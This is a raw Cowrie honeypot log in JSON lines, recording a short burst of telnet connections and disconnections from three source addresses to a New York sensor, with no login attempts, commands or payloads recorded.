{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":54782,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f8d8677a1d3","protocol":"telnet","message":"New connection: 216.10.244.42:54782 (159.203.135.109:23) [session: 6f8d8677a1d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:33.469529Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":33162,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bf3c95643e9","protocol":"telnet","message":"New connection: 207.244.241.37:33162 (159.203.135.109:23) [session: 7bf3c95643e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:33.619668Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":33170,"dst_ip":"159.203.135.109","dst_port":23,"session":"6490b5d7bf65","protocol":"telnet","message":"New connection: 207.244.241.37:33170 (159.203.135.109:23) [session: 6490b5d7bf65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:33.637616Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":60150,"dst_ip":"159.203.135.109","dst_port":23,"session":"be68a8c27204","protocol":"telnet","message":"New connection: 207.244.241.37:60150 (159.203.135.109:23) [session: be68a8c27204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:33.918227Z"}
{"eventid":"cowrie.session.closed","duration":31.17172598838806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:34.338130Z","src_ip":"207.244.241.37","session":"54163d7b3322","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.109321117401123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:34.497875Z","src_ip":"216.10.244.42","session":"5b6b4471695d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":55772,"dst_ip":"159.203.135.109","dst_port":23,"session":"70f5455135b4","protocol":"telnet","message":"New connection: 216.10.244.42:55772 (159.203.135.109:23) [session: 70f5455135b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:34.516397Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":34830,"dst_ip":"159.203.135.109","dst_port":23,"session":"250ae7f3ee97","protocol":"telnet","message":"New connection: 207.244.241.37:34830 (159.203.135.109:23) [session: 250ae7f3ee97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:34.740341Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":34900,"dst_ip":"159.203.135.109","dst_port":23,"session":"e33d2189a323","protocol":"telnet","message":"New connection: 207.244.241.37:34900 (159.203.135.109:23) [session: e33d2189a323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:34.794237Z"}
{"eventid":"cowrie.session.closed","duration":31.85046410560608,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:34.874803Z","src_ip":"207.244.241.37","session":"5b67d8ceeb5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":34998,"dst_ip":"159.203.135.109","dst_port":23,"session":"348bce80fb8f","protocol":"telnet","message":"New connection: 207.244.241.37:34998 (159.203.135.109:23) [session: 348bce80fb8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:34.881342Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":56450,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f24bbe137bb","protocol":"telnet","message":"New connection: 216.10.244.42:56450 (159.203.135.109:23) [session: 7f24bbe137bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:35.352070Z"}
{"eventid":"cowrie.session.closed","duration":31.488353729248047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:35.523558Z","src_ip":"207.244.241.37","session":"cbb2823686c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":35512,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1b3f828af9a","protocol":"telnet","message":"New connection: 207.244.241.37:35512 (159.203.135.109:23) [session: e1b3f828af9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:36.276071Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":41518,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa4d5e696990","protocol":"telnet","message":"New connection: 207.244.241.37:41518 (159.203.135.109:23) [session: fa4d5e696990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:39.055906Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":59446,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e5ddbb118c2","protocol":"telnet","message":"New connection: 216.10.244.42:59446 (159.203.135.109:23) [session: 6e5ddbb118c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:39.409420Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":42050,"dst_ip":"159.203.135.109","dst_port":23,"session":"225ffebe0a52","protocol":"telnet","message":"New connection: 207.244.241.37:42050 (159.203.135.109:23) [session: 225ffebe0a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:39.427853Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":42110,"dst_ip":"159.203.135.109","dst_port":23,"session":"56298e787ffb","protocol":"telnet","message":"New connection: 207.244.241.37:42110 (159.203.135.109:23) [session: 56298e787ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:39.459852Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":60885,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdaa0837cca4","protocol":"telnet","message":"New connection: 216.10.244.42:60885 (159.203.135.109:23) [session: bdaa0837cca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:39.938589Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":42972,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ad455365d14","protocol":"telnet","message":"New connection: 207.244.241.37:42972 (159.203.135.109:23) [session: 8ad455365d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:40.035416Z"}
{"eventid":"cowrie.session.closed","duration":31.047888040542603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:40.669266Z","src_ip":"207.244.241.37","session":"66163ad6c69d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":44364,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdb7366008a0","protocol":"telnet","message":"New connection: 207.244.241.37:44364 (159.203.135.109:23) [session: fdb7366008a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:40.888929Z"}
{"eventid":"cowrie.session.closed","duration":31.385236978530884,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:41.345690Z","src_ip":"216.10.244.42","session":"99e44eeee361","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.34242558479309,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:41.412776Z","src_ip":"216.10.244.42","session":"bffa2e75475f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":34406,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b7ff45cc6ea","protocol":"telnet","message":"New connection: 216.10.244.42:34406 (159.203.135.109:23) [session: 6b7ff45cc6ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:41.687668Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":34508,"dst_ip":"159.203.135.109","dst_port":23,"session":"b215c29106f3","protocol":"telnet","message":"New connection: 216.10.244.42:34508 (159.203.135.109:23) [session: b215c29106f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:41.783880Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":35462,"dst_ip":"159.203.135.109","dst_port":23,"session":"4655927a2f06","protocol":"telnet","message":"New connection: 216.10.244.42:35462 (159.203.135.109:23) [session: 4655927a2f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:42.656777Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":33728,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fee306c2d5d","protocol":"telnet","message":"New connection: 216.10.244.42:33728 (159.203.135.109:23) [session: 4fee306c2d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:42.872830Z"}
{"eventid":"cowrie.session.closed","duration":31.0150408744812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:43.615524Z","src_ip":"207.244.241.37","session":"9f556e1d7638","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16140842437744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:44.399282Z","src_ip":"216.10.244.42","session":"abf35b1b6e94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.160003185272217,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:44.533609Z","src_ip":"216.10.244.42","session":"4410c30c3b72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.915555238723755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:45.571587Z","src_ip":"216.10.244.42","session":"11b5e655b07e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":39310,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c4eff7bca44","protocol":"telnet","message":"New connection: 216.10.244.42:39310 (159.203.135.109:23) [session: 4c4eff7bca44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:47.251224Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":54462,"dst_ip":"159.203.135.109","dst_port":23,"session":"7459bb0798ad","protocol":"telnet","message":"New connection: 207.244.241.37:54462 (159.203.135.109:23) [session: 7459bb0798ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:47.272554Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":52954,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5fd7a6d0539","protocol":"telnet","message":"New connection: 207.244.241.37:52954 (159.203.135.109:23) [session: c5fd7a6d0539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:49.216494Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":41242,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1beffb203bc","protocol":"telnet","message":"New connection: 216.10.244.42:41242 (159.203.135.109:23) [session: b1beffb203bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:49.224502Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":59494,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb69e67d65b8","protocol":"telnet","message":"New connection: 207.244.241.37:59494 (159.203.135.109:23) [session: bb69e67d65b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:50.444010Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41228,"dst_ip":"10.17.0.5","dst_port":23,"session":"29b707659b4c","protocol":"telnet","message":"New connection: 188.208.141.113:41228 (10.17.0.5:23) [session: 29b707659b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:50.892390Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41230,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1120e48d808","protocol":"telnet","message":"New connection: 188.208.141.113:41230 (10.17.0.5:23) [session: c1120e48d808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:51.103778Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":43050,"dst_ip":"159.203.135.109","dst_port":23,"session":"3df83806ef16","protocol":"telnet","message":"New connection: 216.10.244.42:43050 (159.203.135.109:23) [session: 3df83806ef16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:51.238030Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":43424,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dd8973bae48","protocol":"telnet","message":"New connection: 216.10.244.42:43424 (159.203.135.109:23) [session: 3dd8973bae48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:51.605519Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":42900,"dst_ip":"159.203.135.109","dst_port":23,"session":"95206db492e3","protocol":"telnet","message":"New connection: 216.10.244.42:42900 (159.203.135.109:23) [session: 95206db492e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:51.919048Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":43638,"dst_ip":"159.203.135.109","dst_port":23,"session":"065b6001fce8","protocol":"telnet","message":"New connection: 216.10.244.42:43638 (159.203.135.109:23) [session: 065b6001fce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:51.932672Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":41076,"dst_ip":"159.203.135.109","dst_port":23,"session":"649d05e76663","protocol":"telnet","message":"New connection: 216.10.244.42:41076 (159.203.135.109:23) [session: 649d05e76663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:51.966880Z"}
{"eventid":"cowrie.session.closed","duration":31.614392518997192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:52.280915Z","src_ip":"216.10.244.42","session":"4a853c24b216","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.224128246307373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:52.686276Z","src_ip":"207.244.241.37","session":"08f5fa93ff6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":44848,"dst_ip":"159.203.135.109","dst_port":23,"session":"49a6507f683a","protocol":"telnet","message":"New connection: 216.10.244.42:44848 (159.203.135.109:23) [session: 49a6507f683a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:53.275930Z"}
{"eventid":"cowrie.session.closed","duration":30.95036745071411,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:53.315893Z","src_ip":"207.244.241.37","session":"0b266fbdf9a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":36648,"dst_ip":"159.203.135.109","dst_port":23,"session":"edc0dfc2a704","protocol":"telnet","message":"New connection: 207.244.241.37:36648 (159.203.135.109:23) [session: edc0dfc2a704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:53.635739Z"}
{"eventid":"cowrie.session.closed","duration":30.71116805076599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:54.042266Z","src_ip":"207.244.241.37","session":"9087c502a749","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82401943206787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:54.254553Z","src_ip":"207.244.241.37","session":"debcb8fc7a34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30410408973694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:54.889006Z","src_ip":"207.244.241.37","session":"a294ce1dde2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93195390701294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:55.103393Z","src_ip":"207.244.241.37","session":"5bd8226313d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.34789991378784,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:55.516625Z","src_ip":"188.208.141.113","session":"f87c08162b8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3707013130188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:55.699103Z","src_ip":"216.10.244.42","session":"108b8e542250","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06092143058777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:56.449249Z","src_ip":"216.10.244.42","session":"a17bc2339cda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":47614,"dst_ip":"159.203.135.109","dst_port":23,"session":"9703bd9d83de","protocol":"telnet","message":"New connection: 216.10.244.42:47614 (159.203.135.109:23) [session: 9703bd9d83de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:56.453776Z"}
{"eventid":"cowrie.session.closed","duration":30.42886781692505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:56.466557Z","src_ip":"216.10.244.42","session":"45b6407f4754","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.465961933135986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:56.557491Z","src_ip":"216.10.244.42","session":"7f42db742006","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41246,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cdfaddf9b5e","protocol":"telnet","message":"New connection: 188.208.141.113:41246 (10.17.0.5:23) [session: 8cdfaddf9b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:56.893314Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":47994,"dst_ip":"159.203.135.109","dst_port":23,"session":"5234a6fb9d91","protocol":"telnet","message":"New connection: 216.10.244.42:47994 (159.203.135.109:23) [session: 5234a6fb9d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:57.781548Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":44886,"dst_ip":"159.203.135.109","dst_port":23,"session":"aadf5f83d9d5","protocol":"telnet","message":"New connection: 207.244.241.37:44886 (159.203.135.109:23) [session: aadf5f83d9d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:58.428391Z"}
{"eventid":"cowrie.session.closed","duration":30.545172691345215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:58.486583Z","src_ip":"216.10.244.42","session":"a9b2b558f684","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":45582,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c295c26c37b","protocol":"telnet","message":"New connection: 207.244.241.37:45582 (159.203.135.109:23) [session: 2c295c26c37b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:58.845273Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":47350,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fa3d4c8b445","protocol":"telnet","message":"New connection: 207.244.241.37:47350 (159.203.135.109:23) [session: 2fa3d4c8b445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:00.064458Z"}
{"eventid":"cowrie.session.closed","duration":30.652946710586548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:01.245250Z","src_ip":"207.244.241.37","session":"1d48ccfc1627","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.282772064208984,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:02.175838Z","src_ip":"188.208.141.113","session":"8cdfaddf9b5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.144516944885254,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:02.615651Z","src_ip":"216.10.244.42","session":"eb9fe1ab376d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":47762,"dst_ip":"159.203.135.109","dst_port":23,"session":"5610e694c844","protocol":"telnet","message":"New connection: 207.244.241.37:47762 (159.203.135.109:23) [session: 5610e694c844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:03.369847Z"}
{"eventid":"cowrie.session.closed","duration":30.25842523574829,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:04.176544Z","src_ip":"207.244.241.37","session":"be68a8c27204","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":54896,"dst_ip":"159.203.135.109","dst_port":23,"session":"1367bab75ddb","protocol":"telnet","message":"New connection: 216.10.244.42:54896 (159.203.135.109:23) [session: 1367bab75ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:04.407344Z"}
{"eventid":"cowrie.session.closed","duration":30.810118436813354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:04.429680Z","src_ip":"207.244.241.37","session":"7bf3c95643e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.119176864624023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:04.756690Z","src_ip":"207.244.241.37","session":"6490b5d7bf65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.553727388381958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:05.023143Z","src_ip":"216.10.244.42","session":"6f8d8677a1d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44343614578247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:05.237582Z","src_ip":"207.244.241.37","session":"e33d2189a323","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.577484607696533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:05.317690Z","src_ip":"207.244.241.37","session":"250ae7f3ee97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.674496173858643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:05.555564Z","src_ip":"207.244.241.37","session":"348bce80fb8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":56780,"dst_ip":"159.203.135.109","dst_port":23,"session":"02c160714c16","protocol":"telnet","message":"New connection: 207.244.241.37:56780 (159.203.135.109:23) [session: 02c160714c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:06.293908Z"}
{"eventid":"cowrie.session.closed","duration":37.060688972473145,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:06.347020Z","src_ip":"188.208.141.113","session":"091ce2a26f05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":57286,"dst_ip":"159.203.135.109","dst_port":23,"session":"748e82662d7b","protocol":"telnet","message":"New connection: 207.244.241.37:57286 (159.203.135.109:23) [session: 748e82662d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:06.601256Z"}
